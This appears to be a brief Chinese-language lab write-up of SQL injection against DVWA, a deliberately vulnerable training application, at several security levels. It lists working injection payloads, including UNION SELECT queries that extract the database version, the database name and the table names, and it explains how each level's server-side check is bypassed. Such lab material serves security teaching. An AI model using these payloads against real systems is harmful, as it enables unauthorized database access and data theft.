dvwa-sql注入
1、低级别
查看服务端提示代码,字符型,未做任何保护。
假设不确定服务端情况,测试1’,报sql异常,
测试1″,正常查询与样本一致,分析是单引号字符型。
测试查询字段数
1' order by 2#
确定输出点
1' union select 1,2#
常用函数
1' union select version(),database()#
查询当前数据库的数据表
1' union select 1,group_concat(table_name) COLLATE utf8_general_ci from information_schema.tables where table_schema=database()#
2、中级别
查看服务端提示代码,使用mysqli_real_escape_string函数对id参数做了mysql敏感字符的检查,避免字符型注入
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
解决:对于中级别,id是数值型,可以不使用引号进行注入
注入过程可以使用burp,也可以直接基于浏览器修改选项的value进行提交,表单提交会对value进行url编码
1 order by 2
3、高级别
查看服务端提示代码,参数id是字符型,但是多了一个limit结构,没有使用mysqli_real_escape_string函数
解决:将参数之后的包括limit结构注释掉即可
1' order by 2#
4、不可能级别
查看服务端提示代码,参数id使用is_numberic函数进行检查判断是否为数值